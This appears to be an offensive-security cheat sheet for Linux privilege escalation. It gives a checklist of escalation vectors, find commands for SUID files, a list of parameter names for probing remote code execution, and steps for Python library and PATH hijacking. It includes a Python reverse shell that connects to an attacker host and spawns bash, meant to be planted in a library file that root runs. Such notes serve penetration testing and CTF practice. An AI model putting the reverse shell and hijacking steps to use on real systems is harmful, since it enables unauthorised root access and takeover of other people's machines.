Checklist and commands
Mostly we use scripts like :- linpeas , linenum , linux exploit suggerster to do the privesc. But here are some thing we can check manually
CHECKLIST
linux kernal exploits
check scripts with both SUID <root & owned user>
check if their is "exec()" function available in script
check if their is "nohup()" function available in script
check binary with both SUID <root & owned user>
check that binary on GTFObins
check source code files & do source code analysing
Try to write ssh-key in /root/ .ssh
check mysql files
Try to write cronjob
check .bash_history file
python library hijacking
find
find / -perm -u=s 2>/dev/nullfind / -perm -o+w 2>/dev/nullfind / -perm -4000 -o -perm -2000 -type f 2>/dev/nulRCE parameters
Top 25 Remote Code Execution (RCE) Parameters [GET based]
?cmd=
?exec=
?command=
?execute=
?ping=
?query=
?jump=
?code=
?reg=
?do=
?func=
?arg=
?option=
?load=
?process=
?step=
?read=
?function=
?req=
?feature=
?exe=
?module=
?payload=
?run=
?print=python library hijacking
find out a script which is executed by root by any means (cronjob or something else...)
check whether the script contains any library for e.g., "import os"
find the library script in system and check whether it is writable or not
find / -type f -name os.py -ls
or
locate os.py
commen locations >>
/usr/lib/python2.7/
/usr/local/lib/python2.7/
/usr/lib/python3/
/usr/lib/python3.0/
/usr/local/lib/python3.0/
Insert a reverse shell in the bottom of the file
import pty
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()environment path hijacking
we can also use path variable to escalate our priviledges to to next level 1. check if any binary is direct executable by us {for example :- gzip , unzip , tar , base64, etc......} 2. check the path for binary :- which gzip and the value of path variable :- echo $PATH 3. make file with same binary name & inside it inject your payload / rev_shell 4. insert your current location in the path variable :- export PATH=.:$path 5. execute it
Last updated